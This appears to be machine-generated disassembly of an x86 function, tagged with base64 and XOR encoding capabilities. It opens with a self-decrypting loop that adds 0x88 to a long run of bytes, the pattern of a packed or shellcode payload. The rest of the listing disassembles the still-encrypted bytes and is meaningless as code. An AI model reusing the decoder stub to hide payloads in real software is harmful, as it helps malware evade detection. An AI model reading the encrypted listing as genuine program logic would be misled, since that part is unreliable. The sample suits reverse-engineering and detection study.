Function at 0x401000
Capabilities:
Encode data using base64
Encode data using xor

Disassembly:
push ebx
sub esp, 0x44
mov eax, 0x401023
mov ecx, 0
mov bl, byte [eax]
add bl, 0x88
mov byte [eax], bl
add eax, 1
add ecx, 1
cmp ecx, 0xd137
jne 0x40100e
xor byte [eax + 0x78], bh
mov ecx, 0x78783178
js 0x4010a5
add dl, byte [eax + 0xfe3bf8]
nop
sti
cmp dword [ecx - 5], edi
cmp byte [ecx - 7], bh
jno 0x4010b4
lahf
js 0x4010b8
in eax, dx
arpl word [eax], si
js 0x400fcd
mov eax, 0x3b3b3378
cmp edi, dword [ebx]
add dword [eax - 0x47adb2d0], edx
js 0x40104f
xor byte [ebp + 0x52], cl
dec ebp
push edx
mov eax, 0x7838fb78
sti
cmp byte [eax - 5], bh
cmp al, 0xbc
ja 0x4010a3
cmp edx, ebx
cmp esp, dword [eax + 0x7d]
js 0x4010da
js 0x4010c5
cmp byte [eax + 0x78], 0x78
xor dword [eax - 0x61], edx
lahf
mov ecx, 0x2de36178
js 0x4010ea
loopne 0x40106a
mov byte [eax + 0x41a76078], bh
cmpsd dword [esi], dword es:[edi]
inc ecx
js 0x4010f4
js 0x40104e
sar dword [ebx], 1
xor dword [eax - 0x61], edx
cmp esi, dword [ecx]
push eax
lahf
mov ecx, 0x1d566178
js 0x401100
pushal
jge 0x401103
js 0x401105
popal
cmp byte [eax + 0x78], 0x78
xor dword [eax + 0x6178b9a0], eax
mov ecx, 0xe078782d
and byte [eax + 0x7d6078b8], cl
inc ecx
js 0x40111e
js 0x401078
sar dword [ebx], 1
xor dword [eax + 0x6178b9a0], eax
sub al, 0x1d
cmp esi, dword [ecx]
and byte [eax + 0x2c6178b9], 0x1d
js 0x40112a
pushal
jge 0x40112d
js 0x40112e
js 0x40112f
js 0x401119
popal
cmp byte [eax + 0x78], 0x78
js 0x401134
xor eax, edx
mov byte [0x8f6178b9], al
sub eax, 0x4ae07878
js 0x4010a7
dec edx
mov byte [eax + 0x40536078], bh
push ebx
inc eax
js 0x401148
sar dword [ebx], 1
xor eax, edx
mov byte [0x26178b9], al
cmp esi, dword [ecx]
shl byte [edx + 0x26178b9], 1
sbb eax, 0x7d607878
js 0x401158
js 0x401154
pushal
jge 0x401157
js 0x401159
js 0x401143
popal
cmp byte [eax + 0x78], 0x78
xor dword [eax], edi
mov dh, 0xb9
js 0x40114d
sub al, 0x78
js 0x4010d1
je 0x40107b
mov eax, 0x40296078
js 0x401172
js 0x401156
sub dword [eax + 0x78], eax
js 0x4010cc
sar dword [ebx], 1
xor dword [eax], edi
mov dh, 0xb9
cmp esi, dword [ecx]
cmp byte [esi - 0x279e8747], dh
js 0x401163
fcomp dword [0x7d607878]
sbb eax, 0x7d607878
js 0x401167
jge 0x401181
js 0x401182
js 0x401183
js 0x40116d
popal
cmp byte [eax + 0x78], 0x78
xor dword [eax - 0x4a], ebp
mov ecx, 0x2c3b6178
js 0x401192
js 0x4010fb
loopne 0x4010ba
sahf
mov dword [eax + 0x40ff6078], edi
js 0x40119c
js 0x401180
inc dword [eax + 0x78]
js 0x4010f6
sar dword [ebx], 1
xor dword [eax - 0x4a], ebp
mov ecx, 0x24546178
cmp esi, dword [ecx]
push 0x6178b9b6
js 0x40118d
push esp
and al, 0x78
js 0x4011a8
js 0x401191
pushal
jge 0x4011ab
js 0x4011ad
js 0x401197
popal
cmp byte [eax + 0x78], 0x78
xor dword [eax + 0x6178b9b7], ebx
adc dword [eax + edi*2], ebp
js 0x401125
enter 0xffffffffffffb889, 0x78
pushal
js 0x4011aa
aad 0x40
js 0x4011c6
js 0x401120
sar dword [ebx], 1
xor dword [eax + 0x6178b9b7], ebx
cmp esi, dword [ecx]
cwde
mov bh, 0xb9
js 0x4011b7
test byte [0x7d607878], bl
sbb eax, 0x7d607878
js 0x4011d2
js 0x4011bb
pushal
jge 0x4011d5
js 0x4011d6
js 0x4011d7
js 0x4011c1
popal
cmp byte [eax + 0x78], 0x78
js 0x4011dc
js 0x401196
xor dword [eax], esi
mov byte [0xe76178b9], al
xor byte [edx - 0x189e8747], ah
mov ecx, 0x2ce76178
js 0x4011e6
sub al, 0x78
js 0x40114f
loopne 0x401162
mov dword [eax + 0x40ab6078], edi
mov dword [eax + 0x40ab6078], edi
js 0x4011d4
stosd dword es:[edi], eax
inc eax
js 0x4011f0
sar dword [ebx], 1
xor dword [eax], esi
mov byte [0x5a6178b9], al
cmp esi, dword [ecx]
xor byte [edx + 0x5a6178b9], ah
pop edx
sbb al, 0x78
js 0x4011fc
js 0x4011e5
pushal
jge 0x4011ff
js 0x401201
popal
cmp byte [eax + 0x78], 0x78
xor eax, ecx
mov bh, 0xb9
js 0x4011c0
enter 0xffffffffffffb9b7, 0x78
popal
mov ecx, 0x2cbd6178
js 0x4011f5
mov ebp, 0xe078782c
js 0x401210
js 0x401179
loopne 0x4011b6
sbb al, 0x89
mov eax, 0x40816078
mov dword [eax + 0x40816078], edi
js 0x4011fe
add dword [eax + 0x78], 0x313bd178
js 0x40121a
sar dword [ebx], 1
xor eax, ecx
mov bh, 0xb9
cmp esi, dword [ecx]
enter 0xffffffffffffb9b7, 0x78
popal
js 0x40120b
pop ecx
and eax, 0x7d607878
js 0x40122a
js 0x40120f
jge 0x401229
js 0x40122b
js 0x401215
popal
cmp byte [eax + 0x78], 0x78
js 0x401230
js 0x4011ea
xor dword [eax], eax
mov byte [0x936178b9], al
add byte [edx - 0x6c9e8747], ah
mov ecx, 0x2c936178
sub al, 0x78
js 0x40123a
js 0x4011a3
loopne 0x40120a
inc esi
mov dword [eax + 0x3f576078], edi
js 0x401228
push edi
aas
js 0x401244
sar dword [ebx], 1
xor dword [eax], eax
mov byte [0xd26178b9], al
js 0x401235
shl byte [edi], cl
daa
js 0x401250
js 0x401239
pushal
jge 0x401253
js 0x401255
js 0x40123f
popal
cmp byte [eax + 0x78], 0x78
xor eax, eax
lahf
mov ecx, 0x2b696178
js 0x401249
imul ebp, dword [ebx], 0x70e07878
js 0x401264
loopne 0x40125e
mov dword [eax + 0x3f2d6078], edi
js 0x40126e
js 0x401252
sub eax, 0xd178783f
js 0x4011c8
sar dword [ebx], 1
xor eax, eax
lahf
mov ecx, 0x1cdc6178
cmp esi, dword [ecx]
rcr byte [edi - 0x239e8747], 0x1c
js 0x40125f
fcomp qword [eax + edi*2]
sbb al, 0x78
js 0x40127a
js 0x401263
pushal
jge 0x40127d
js 0x40127f
js 0x401269
popal
cmp byte [eax + 0x78], 0x78
js 0x401284
js 0x40123e
xor eax, esi
lahf
invalid
mov ecx, 0x2b3f6178
js 0x40128e
js 0x401273
aas
sub edi, dword [eax + 0x78]
js 0x4011f7
loopne 0x4011b2
lcall 0x3f03, 0x6078b88a
mov bh, byte [eax + 0x3f036078]
js 0x40127c
add edi, dword [edi]
js 0x401298
sar dword [ebx], 1
xor eax, esi
lahf
mov ecx, 0x28016178
cmp esi, dword [ecx]
invalid
add dword [eax], ebp
sub byte [eax + 0x78], bh
js 0x4012a4
js 0x40128d
pushal
jge 0x4012a7
js 0x4012a9
js 0x401293
popal
cmp byte [eax + 0x78], 0x78
xor dword [eax], esp
lahf
js 0x401268
and byte [edi + 0x156178b9], bl
sub edi, dword [eax + 0x78]
mov ecx, 0x2b156178
js 0x40129d
adc eax, 0xe078782b
js 0x4012b8
js 0x401221
loopne 0x401206
les ecx, [edx - 0x269f8748]
aas
mov bh, byte [eax + 0x3fd96078]
js 0x4012a6
fnstcw word [edi]
js 0x4012c2
js 0x40121c
sar dword [ebx], 1
xor dword [eax], esp
lahf
mov ecx, 0x1c886178
js 0x4012ce
cmp esi, dword [ecx]
and byte [edi - 0x779e8747], bl
js 0x4012b3
mov byte [eax + edi*2], bl
sbb al, 0x78
js 0x4012b7
pushal
jge 0x4012d1
js 0x4012d3
js 0x4012bd
popal
cmp byte [eax + 0x78], 0x78
js 0x4012d8
js 0x401292
xor eax, ebx
mov eax, dword [0xeb6178b9]
fsub dword [ecx - 0x149e8747]
mov ecx, 0x2beb6178
js 0x4012c7
jmp 0x401293
sub edi, dword [eax + 0x78]
js 0x4012e2
js 0x40124b
loopne 0x40125a
out dx, al
mov bh, byte [eax + 0x3faf6078]
js 0x4012d0
scasd eax, dword es:[edi]
aas
js 0x4012ec
js 0x401246
sar dword [ebx], 1
xor eax, ebx
mov eax, dword [0xcf6178b9]
cmp esi, dword [ecx]
fsub dword [ecx - 0x309e8747]
js 0x4012dd
iretd
sub byte [eax + 0x78], bh
pushal
js 0x4012e1
jge 0x4012fb
js 0x4012fd
js 0x4012e7
popal
cmp byte [eax + 0x78], 0x78
xor dword [eax - 0x5f], edi
mov ecx, 0x2bc16178
js 0x4012f1
shr dword [ebx], 0x78
js 0x40130c
js 0x401275
loopne 0x4012ae
sbb byte [edx - 0x7a9f8748], cl
aas
mov bh, byte [eax + 0x3f856078]
js 0x4012fa
test dword [edi], edi
js 0x401316
js 0x401270
sar dword [ebx], 1
xor dword [eax - 0x5f], edi
cmp esi, dword [ecx]
js 0x401244
mov ecx, 0x29286178
js 0x401307
sub byte [ecx], ch
sub dword [eax + 0x78], edi
js 0x401322
js 0x40130b
pushal
jge 0x401325
js 0x401327
js 0x401311
popal
cmp byte [eax + 0x78], 0x78
xor dword [eax + 0x6178b9a1], ebp
js 0x4012e6
test al, 0xa1
mov ecx, 0x2b976178
js 0x401336
js 0x40131b
xchg edi, eax
sub edi, dword [eax + 0x78]
js 0x40129f
loopne 0x401302
inc edx
mov bh, byte [eax + 0x3e5b6078]
js 0x401340
js 0x401324
pushal
pop ebx
js 0x401340
js 0x40129a
sar dword [ebx], 1
xor dword [eax + 0x6178b9a1], ebp
cmp esi, dword [ecx]
test al, 0xa1
mov ecx, 0x2bb36178
js 0x401331
mov bl, 0x2b
sub edi, dword [eax + 0x78]
js 0x40134c
js 0x401335
pushal
jge 0x40134f
js 0x401351
js 0x40133b
popal
cmp byte [eax + 0x78], 0x78
xor dword [eax], ecx
mov dh, 0xb9
js 0x401310
or byte [esi + 0x6d6178b9], dh
mov ecx, 0x2a6d6178
js 0x401345
insd dword es:[edi], dx
sub bh, byte [eax + 0x78]
js 0x401360
js 0x4012c9
loopne 0x401356
insb byte es:[edi], dx
mov bh, byte [eax + 0x3e316078]
js 0x40134e
xor dword [esi], edi
js 0x40136a
js 0x4012c4
sar dword [ebx], 1
xor dword [eax], ecx
mov dh, 0xb9
js 0x40135b
cmp esi, dword [ecx]
or byte [esi - 0x1f9e8747], dh
loopne 0x401317
sbb edi, dword [eax + 0x78]
js 0x401376
js 0x40135f
pushal
loope 0x401341
js 0x40137b
js 0x401315
adc dword [ecx], esi
jb 0x40137f
xor dword [edx + 0x78], esi
js 0x401381
outsd dx, dword [esi]
jno 0x40130e
add bh, byte [edx]
cld
cmp bh, ah
cmp dh, ch
jl 0x4012c4
mov dl, 0x39
ljmp 0x9cc4
cmp edx, ebp
jp 0x40133e
sub byte [ecx + 3], bh
jns 0x40131b
add eax, esp
pushfd
mov byte [ebx], al
int3
les ebx, [eax + ecx*4 - 0x7f6333fd]
into
add eax, 0x46b382ac
add ecx, esp
pushfd
or dh, 5
lodsb al, byte [esi]
xor byte [ebx + 0x390f546], 0xcc
inc esi
cmc
nop
add ecx, esp
pushfd
cmp bl, 0xf4
pushfd
mov byte [eax - 0x14], bh
jge 0x4012d3
jl 0x4012be
arpl word [ebx + 0x78], di
jnp 0x4013b0
jl 0x4012c3
mov ecx, 0x64f446b3
salc
mov bl, 0x46
hlt
salc
cmp ecx, esi
into
add ebp, esp
pushfd
or dh, 0x60
xchg edx, eax
inc eax
js 0x4013c4
shr dword [ebx - 0x9c702bf], 1
inc ecx
std
cmp dh, dh
test byte [edx + eax - 0x5f7b6334], 0x8c
test eax, 0xf440b3b9
insb byte es:[edi], dx
test byte [edx], al
int3
test byte [eax - 0x4c465674], ah
inc eax
mov bl, 0x40
hlt
salc
cmp ecx, esi
ja 0x401350
pushfd
and byte [eax + 0x73], 0x3f
js 0x4013e3
js 0x401324
mov eax, 0x3ef460c8
enter 0xfffffffffffff460, 0x3e
js 0x4013ea
ja 0x401360
pushfd
mov byte [ebx], al
push 0x3f6c60ce
add ebp, dword [eax - 0x32]
pushal
insb byte es:[edi], dx
aas
js 0x4013f6
sti
cmp al, 0x88
add edi, dword [esi]
salc
cmp ecx, esi
ja 0x401374
pushfd
and byte [eax + 0x4a], 0x77
ja 0x401406
ja 0x401393
add ebp, dword [eax - 0x1e]
push 0x60ce79e2
jns 0x401362
into
pushal
and byte [edi + 0x77], dh
ja 0x401395
ja 0x401410
sti
cmp al, 0x84
add edi, dword [esi]
salc
cmp ecx, ebp
add esp, dword [eax + esi - 0x68]
cwde
invalid
mov cl, 0x95
jo 0x40136c
mov eax, 0xcfce78b9
xchg esp, edi
mov ecx, 0x87cfce78
cld
iretd
dec esp
js 0x401435
js 0x401436
js 0x4013f5
cld
cld
js 0x40137b
js 0x401392
pushal
adc eax, 0xb878783f
enter 0xffffffffffff9660, 0x3e
js 0x401441
mov eax, 0x3e9660c8
pushal
xchg esi, eax
js 0x401448
js 0x401448
ja 0x4013bf
in eax, dx
add byte [ecx], 0xbd
jo 0x4013dc
std
pop eax
arpl word [edi + 0x77], si
ja 0x401453
enter 0x860, 0x3f
pushal
or byte [edi], bh
js 0x40145a
add eax, 0x776358fd
ja 0x4013cb
std
pop eax
arpl word [edi + 0x77], si
loop 0x401463
jns 0x4013b3
enter 0x4b60, 0xffffffffffffff9e
pushal
dec ebx
sahf
js 0x401468
sti
cmp al, 0x90
add eax, 0x776358fd
ja 0x4013da
pop eax
arpl word [edi + 0x77], si
loopne 0x4013f3
clc
js 0x401475
js 0x4013c7
ja 0x40138e
js 0x4013bc
mov ecx, 0xe0fd0578
ja 0x401481
js 0x40140b
std
loopne 0x401480
ja 0x401482
ja 0x4013ee
loop 0x401397
mov cl, al
add eax, 0x776358fd
ja 0x4013dd
enter 0xfffffffffffffd05, 0x58
pop eax
arpl word [edi + 0x77], si
enter 0xffffffffffff8d77, 0x70
mov eax, 0x70fb78b9
ja 0x401420
ja 0x4013a4
jo 0x4013d1
mov ecx, 0x7770fb78
add dword [ebp + 0x5deec68], edi
mov ebp, 0x5deec68
push 0xc505deec
insb byte es:[edi], dx
leave
enter 0xffffffffffff8d77, 0x48
lds ebp, [ecx + ecx*8 - 0x38]
ja 0x4013b7
dec eax
mov eax, 0x700378b9
retf
into
add ebp, esi
and byte [eax - 0x60], 0x3f
js 0x4014b6
rol dword [ebx], 1
inc edi
mov dword [0xed77c940], eax
push 0xb97c8d77
lea edi, [ecx + edi*4 - 0x47]
js 0x401453
jl 0x401404
mov ecx, 0x6cbd0578
retf
mov ebp, 0xcec8cb6c
pushal
xchg byte [edi], bh
js 0x4014d0
ror eax, 1
ja 0x401449
jo 0x4014d5
in eax, dx
push 0xb8748d77
mov ecx, 0x7260ce78
js 0x4014e4
mov eax, 0x60ce78b9
jb 0x4014a8
js 0x4014e4
add eax, ebp
jo 0x40143e
into
leave
add byte [eax + eax*4 + 0x783fbf60], dl
js 0x401475
and byte [eax - 0x41], 0x3f
js 0x4014f1
mov edi, 0xfb78783f
sti
cmp al, 0x84
std
cmp ch, ch
xchg ecx, eax
ja 0x40146f
in eax, dx
push 0xb8148d77
mov ecx, 0x70ed7778
pushal
mov eax, 0xed7778b9
jo 0x4014ed
jmp 0xd1b88ccf
jns 0x40145c
js 0x401520
inc eax
mov bl, 0x71
idiv byte [ebx + 1]
mov ebp, 0x7804e080
mov ecx, 0x3e276078
js 0x40152f
js 0x401486
into
add esi, dword [eax + 0x60]
pop ds
js 0x401537
rcl ecx, 1
add eax, ebp
cmp byte [ebx + 0x47], 5
mov esp, 0xe2c87d80
xor byte [edi - 0x73], 0xcc
mov ecx, 0x77c878b9
lea ebp, [ecx + edi*4 - 0xafc8747]
push 0xcfcbcbcb
add dword [ebp + 0x7c8d7770], edi
mov ecx, 0xbd0578b9
insb byte es:[edi], dx
ja 0x401473
jl 0x4014a1
mov ecx, 0x6cbd0578
retf
xor byte [edi - 0x13], 0x70
iretd
js 0x401527
mov ebp, 0x77c8cb6c
in eax, dx
xor byte [edi - 0x13], 0x70
iretd
cmp byte [ecx - 0x12888747], 0x70
loop 0x4015b1
jns 0x4015b0
ja 0x4014c7
invalid
int3
enter 0x4e0, 0x78
mov ecx, 0x8d77cf78
cmp byte [ecx - 0x42fa8747], 0x6c
retf
js 0x401573
mov ebp, 0x5c8cb6c
mov ebp, 0xc879e277
iretd
into
pushal
push esp
cmp eax, 0xc8d17878
into
iretd
xor byte [ebx + esi*4 + 0x78], bl
js 0x40160c
pop eax
cmp eax, 0xf5fb7878
sti
cmc
cmp byte [eax - 0x35], 0x2b
mov ebx, 0xcf77bd3e
in eax, dx
sbb byte [eax], 0xf8
mov bh, 0xb9
js 0x4015c5
push eax
add byte [ebp + 0x7918e077], bh
mov ebp, 0x7918e077
mov ecx, 0x752c6078
ja 0x401648
ja 0x401584
mov dl, 0xd5
ja 0x4015a6
aad 0x77
rol dword [ecx], 1
mov ebp, 0x9c078770
add dword [ebp - 0x63f87890], edi
jo 0x401560
pop es
pushfd
jns 0x401655
js 0x4015ad
into
iretd
in eax, dx
ja 0x40156c
push ebx
mov dword [0x7914376b], eax
mov ecx, 0xed77be78
imul esi, dword [edi], 0x14
jns 0x4015a6
js 0x4015ad
mov esi, 0xfb70ed77
ja 0x4015de
jo 0x4015ee
cmc
cmp byte [eax - 0x35], 0xec
test eax, 0x580ed77
std
in eax, dx
add byte [0x774f1cfd], 0x77
sbb al, 0x4f
ja 0x401679
loopne 0x40160c
jns 0x4015bf
js 0x4015d0
pushal
cmp dword [eax + edi*2], 0x70ed7778
js 0x401685
in eax, dx
jo 0x401616
add eax, 0x773c94fd
std
xchg esp, eax
cmp al, 0x77
ja 0x4015e2
retf
ja 0x401606
and al, 0xf8
jns 0x4015d7
js 0x4015e8
pushal
imul edi, dword [ebx], 0x3cfb7878
mov al, byte [0xfd05a163]
cmp edi, dword [eax + 0x78]
sti
cmp al, 0xa0
arpl word [ecx + 0x4f1cfd05], sp
add eax, 0x774f1cfd
ja 0x401611
std
sbb al, 0x4f
ja 0x4016a7
loopne 0x401622
invalid
jns 0x4015ed
mov ecx, 0x5360c878
js 0x4015fe
pushal
push ebx
cmp edi, dword [eax + 0x78]
ja 0x40162a
jo 0x401644
std
xchg esp, eax
cmp al, 0x77
ja 0x401610
retf
loopne 0x40162b
jns 0x401602
mov ecx, 0x3e60c878
cmp edi, dword [eax + 0x78]
js 0x401613
enter 0x3e60, 0x3b
js 0x4016c8
pushal
cmp edi, dword ds:[eax + 0x78]
js 0x40164c
sti
cmp al, 0x98
add eax, 0x77762cfd
ja 0x401699
sub al, 0x76
ja 0x4016d0
aas
std
sub al, 0x76
ja 0x4016d6
test al, 0x78
js 0x4016db
enter 0xfffffffffffffd05, 0xffffffffffffff94
cmp al, 0x77
ja 0x401633
ja 0x4015fa
xor al, 0xb8
mov ecx, 0x7770fb78
mov eax, 0x70fb78b9
ja 0x401676
add dword [ebp + 0x5f7ec6c], edi
mov ebp, 0x5f7ec6c
insb byte es:[edi], dx
in al, dx
test dword [0x777658fd], 0xfd05c877
add eax, 0x777658fd
std
pop eax
jbe 0x4016f5
ja 0x401648
add eax, 0x774f1cfd
std
sbb al, 0x4f
ja 0x4016fd
ja 0x40164f
enter 0xfffffffffffffd05, 0xffffffffffffffa4
arpl word [edi + 0x77], si
loopne 0x40166b
add eax, 0x7763a4fd
ja 0x40166e
fdivr qword [ecx - 0x47]
jns 0x40164a
js 0x40165b
pushal
idiv byte [ebx]
js 0x401710
add eax, 0x777658fd
std
pop eax
jbe 0x401714
ja 0x40166e
enter 0xffffffffffff9360, 0x3d
js 0x40171d
sti
cmp al, 0x90
nop
std
cmp ah, ch
in al, dx
cmpsd dword [esi], dword es:[edi]
add eax, 0x777658fd
ja 0x401693
fdivr dword [ecx - 0x47]
js 0x401680
pushal
jnp 0x4016f8
js 0x401735
sar ebp, 1
cmp cl, dl
in al, dx
nop
add eax, 0x7763a4fd
ja 0x4016ac
js 0x401694
pushal
or byte [edi + esi*2 + 0x77], dh
ja 0x4016a3
rol dword [ebx], 1
lds eax, [eax + ecx*8 + 0x78172560]
js 0x4016e1
add eax, ebp
test al, cl
pushal
and eax, 0x5787817
pop ss
js 0x401753
add eax, 0x77762cfd
ja 0x4016aa
std
sub al, 0x76
ja 0x401758
enter 0xffffffffffffed77, 0x6c
ja 0x4016d1
insb byte es:[edi], dx
ja 0x401674
cmp byte [eax + 0x38fd78b9], bh
in eax, dx
add dh, byte [edi - 0x13]
insb byte es:[edi], dx
ja 0x401681
xor byte [eax - 0x39448747], bh
mov eax, 0xc6bb78b9
mov ebx, 0x67fd87c6
xchg ebp, edi
jbe 0x401776
jbe 0x401776
ja 0x4016d8
salc
ja 0x4016f1
jo 0x401766
jo 0x401742
js 0x401782
rol dword [ebx], 1
lds eax, [eax + 0x78782177]
and dword [eax + 0x78], edi
stosd dword es:[edi], eax
inc ecx
sar ebp, cl
cmp byte [edi + 0x39033917], al
inc ecx
cmp esi, dword [eax]
nop
push esp
mov eax, 0x3c1f6078
js 0x4017a1
xor byte [eax], dh
mov edi, dword [eax + 0x78]
pushal
aad 0x3c
js 0x4017ab
into
add eax, 0x19603cc5
js 0x4017b4
lds edi, [eax]
sbb dword [esi], esp
js 0x4017b4
add eax, 0x6eab3cbd
enter 0xffffffffffffed01, 0x74
ja 0x401734
add ebp, ebp
je 0x4017bd
in eax, dx
and byte [eax - 0x32], 0x76
ja 0x4017c4
sar ebp, 1
cmp cl, dl
xchg esp, edi
sub edi, dword [eax + 0x78]
js 0x401727
add eax, 0x2a603cc5
and dword [eax + 0x78], edi
std
cmp dh, dh
iretd
add eax, 0x88603cc5
sbb byte [eax + 0x78], bh
lds edi, [eax]
mov byte [eax], bl
js 0x4017e6
loopne 0x4017a8
jns 0x40172b
js 0x401777
push eax
pushal
xor dword [edi + esi*2 + 0x77], 3
je 0x4017f0
ja 0x40177e
jo 0x401782
std
mov ah, 0x64
ja 0x4017f9
iretd
js 0x401772
jns 0x401774
jns 0x401799
std
mov ah, 0x64
ja 0x401810
loopne 0x4017bb
js 0x401756
js 0x401767
pushal
mov cl, 0x82
js 0x40181c
cmp byte [eax + 0x78], 0xcf
pushal
sar byte [edx], 1
iretd
js 0x401822
sti
cmp al, 0xa0
add eax, 0x60be3cc5
aam 0x21
js 0x40182e
mov bl, 0x68
hlt
sti
cmc
cmp byte [eax - 0x14], 0xaf
loop 0x40177e
salc
loop 0x401756
xlatb
into
add eax, 0x7764b4fd
ja 0x401846
in eax, dx
and al, 0x30
jns 0x40178e
js 0x40179f
pushal
mov dl, 0x3a
js 0x401854
add eax, 0x7764b4fd
ja 0x4017ab
pushal
sbb bh, byte [edi + 0x78]
js 0x4017e4
js 0x401860
sti
cmp al, 0x8c
mov esi, 0x7750edc7
in eax, dx
and byte [eax - 0x41], 0xe
js 0x40186f
rol dword [0x8a603cc5], 1
and dword [eax + 0x78], edi
lds edi, [eax]
mov ah, byte [ecx]
js 0x401878
stosd dword es:[edi], eax
inc ecx
xlatb
std
cmp byte [edi + 0x69033917], al
sti
lds esi, [edi + esi*2 + 5]
lds edi, [eax]
cmp al, 0x60
enter 0x7816, 0x78
add eax, ebp
insb byte es:[edi], dx
add edi, dword [esi]
salc
fadd qword [ecx]
test dword [eax + 0x78], edi
js 0x40189b
js 0x401865
inc ecx
cmp esi, dword [eax]
movsb byte es:[edi], byte [esi]
push esp
mov eax, 0x3b196078
sbb dword [ebx], edi
js 0x4018a7
js 0x40182b
sti
enter 0xffffffffffffcecb, 5
lds ebx, [eax]
sbb dword [0x8e07878], esp
mov eax, dword [0x53ab78b9]
ja 0x401832
retf
add byte [ecx], 0xd5
add ebp, edx
je 0x4018aa
mov byte [0xd178783b], al
std
cmp cl, dl
in al, dx
jg 0x401800
stosd dword es:[edi], eax
outsb dx, byte [esi]
popal
jp 0x4018d2
js 0x4018d3
add eax, 0x77c81cbd
mov ebp, 0xed77c81c
in eax, dx
and byte [eax + 2], 0xa6
js 0x4018df
sar ebp, 1
cmp cl, dl
in al, dx
pop edi
ja 0x40185c
and byte [eax + 0x22], 0x76
ja 0x4018ec
rol dword [ecx], 1
mov ebp, 0x1cc50560
add ebp, edx
pushal
add eax, 0xd5011cc5
pushal
pushal
push es
and byte [eax + 0x78], bh
std
cmp byte [edi + 0x78780606], al
js 0x40185c
loop 0x401908
salc
ja 0x40187f
add eax, 0x5b601cc5
push ss
js 0x401913
add esi, dword [eax - 0x1e]
mov word [0xc8cb4cbd], es
add ebp, edx
push 0x783ba260
js 0x4018b2
enter 0xffffffffffffd501, 0x68
pushal
mov byte [0x578783b], al
js 0x401924
add eax, 0x58e04cbd
or edi, dword [eax + edi*2 - 0x38]
add eax, 0xcfc868bd
add ebp, ebp
mov ebp, 0xb58e04c
jl 0x40192c
enter 0xffffffffffffbd05, 0x68
enter 0x1cf, 0xffffffffffffffed
in eax, dx
dec esp
add ebp, ebp
push eax
add ebp, ebp
push esp
pushal
mov esp, 0xfb78789a
cmp al, 0x94
sti
jo 0x401948
imul dword [ebp + 0x34e0cece]
loopne 0x401908
xor al, 0x78
mov ecx, 0x7860cf78
cmp dword [eax + 0x78], 0xb3883cfb
in al, dx
js 0x40188f
js 0x4018a7
pushal
js 0x40185c
js 0x401955
sti
cmp al, 0x88
mov bl, 0x3e
in al, dx
mov byte [ebx - 0x317713c2], dh
mov dh, cl
into
loopne 0x4018c0
js 0x4018a3
js 0x4018bb
pushal
cmp byte fs:[eax + 0x78], 0xfb
sti
cmp al, 0x88
loop 0x401971
into
loopne 0x4018e5
js 0x4018b4
js 0x4018cc
pushal
push ebx
cmp byte [eax + 0x78], 0xfb
cmp al, 0x88
ja 0x4018c4
add eax, 0x7a601cc5
add eax, 0x7a601cc5
and byte [eax + 0x78], bh
mov cl, 0xbd
xchg dword fs:[edi + ebp*8], eax
xchg dword [edi + ebp*8], eax
ja 0x40198f
ja 0x4018f1
mov cl, 0xd5
pushal
in eax, dx
lodsb al, byte [esi]
add ebp, edx
push 0xb9b66836
mov dh, 0xb9
js 0x40192b
inc esi
pushal
pop esp
pop ds
js 0x4019a6
mov cl, 0xbd
push 0xbd0598f5
push 0x80ed77c8
pushal
retf 0x78a4
pushal
dec edx
jne 0x4019c3
ja 0x40191f
ja 0x40190d
push 0x38ab4c63
mov cl, 0xd5
xchg dword fs:[edi], edx
cmp byte [ebx], al
push 0x7774c5fb
add eax, 0x75601cc5
adc al, 0x78
js 0x40196d
jne 0x40197b
js 0x4019e1
add eax, ebp
insb byte es:[edi], dx
lds ebp, [ebx + eax + 0x3e]
add edi, dword [esi]
salc
salc
rcr esp, cl
add dword [ebp + 0x78787878], eax
inc ecx
cmp esp, dword [eax - 0x1b]
in eax, 0xa2
js 0x4019f6
mov byte [0x38fd7878], al
in eax, dx
std
cmp ch, ch
jns 0x4019be
into
cmp byte ss:[esi + 0x3cf78b9], dh
inc esi
stosd dword es:[edi], eax
ja 0x4019ef
neg dword [edi]
js 0x401a0b
std
cmp dh, dh
xchg edi, eax
iretd
jg 0x40196c
pushal
hlt
jbe 0x401a1f
ja 0x40197b
add eax, dword [esi - 0x41]
pushal
fcomp dword [edi]
pop ds
js 0x401a2a
mov bl, 0x70
hlt
cmp byte [ebx], bh
retf
in al, dx
pushfd
test bh, cl
into
ja 0x401957
lea eax, [eax + edi*4 - 0x47]
js 0x4019af
inc esp
mov eax, 0xf8e078b9
clc
js 0x401a4a
js 0x4019a2
add edx, dword [eax + 0x77]
lea edi, [eax - 0x47]
push eax
ja 0x401965
js 0x401993
mov ecx, 0x8d77ce78
and al, 0xb8
mov ecx, 0xfd700378
ja 0x4019d5
or bl, 0xce
ja 0x40197a
js 0x4019a8
mov ecx, 0xd73f0378
salc
sar dword [ebx], cl
int 3
stc
pushfd
cmp ecx, ebp
add esp, dword [ecx + edi*8 + 0x64]
pushfd
cmp byte [eax + 0x78], 0xce
stosd dword es:[edi], eax
outsb dx, byte [esi]
mov cl, 0xad
sbb byte [eax - 0x27138747], bh
fsub st(2)
mov esp, 0xce24bd05
enter 0x3760, 0x39
js 0x401a8f
loop 0x4019c9
add eax, 0xc8ce24bd
pushal
aaa
cmp dword [eax + 0x78], edi
fiadd word [ebx]
mov ebp, 0xde88e288
add dword [ebp + 0x68bd0554], edi
mov ebp, 0x68bd0554
into
enter 0xffffffffffffbd3f, 0x24
mov esp, 0x3f787878
js 0x401aa4
js 0x401a6d
aas
mov ebp, 0x78787950
js 0x401a95
adc eax, 0x77787839
in eax, dx
add byte [0x776f54fd], 0x77
enter 0xffffffffffffa260, 0x39
js 0x401ac0
sti
cmp al, 0x98
cwde
add eax, 0x5c868bd
mov ebp, 0xcecec824
into
into
into
into
into
add eax, 0x776f54fd
ja 0x401a2d
into
enter 0x77ce, 0xffffffffffffff8d
sbb byte [eax + 0x38fd78b9], bh
in eax, dx
jl 0x401a17
cmp byte [ebx - 0x73], ah
ja 0x401a5e
arpl word [ebp + 0x7768ed77], cx
lea edx, [eax + edi*4]
push 0xb8148d77
mov ecx, 0x6ced7778
ja 0x401a0a
adc al, 0xb8
mov ecx, 0xd079e278
jns 0x401a54
salc
inc ecx
cmp esi, dword [eax]
mov eax, 0x6078b854
mov bh, 0x39
js 0x401b09
stc
xchg esp, eax
jns 0x401b0e
js 0x401b0f
js 0x401a63
retf
into
iretd
pushal
inc ecx
cmp byte [eax + 0x78], bh
sti
invalid
push 0xd379e278
add eax, 0x777650fd
ja 0x401a82
enter 0x7e60, 0xffffffffffffff98
pushal
jle 0x401a53
js 0x401b35
loop 0x401a4b
add eax, 0x78e254bd
